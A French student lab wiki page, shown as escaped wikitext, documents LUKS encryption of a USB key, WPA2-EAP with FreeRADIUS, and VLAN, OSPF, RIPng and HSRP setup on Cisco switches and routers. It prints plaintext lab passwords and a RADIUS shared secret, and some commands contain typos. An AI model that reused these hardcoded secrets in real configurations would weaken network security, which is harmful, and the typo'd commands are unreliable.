 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
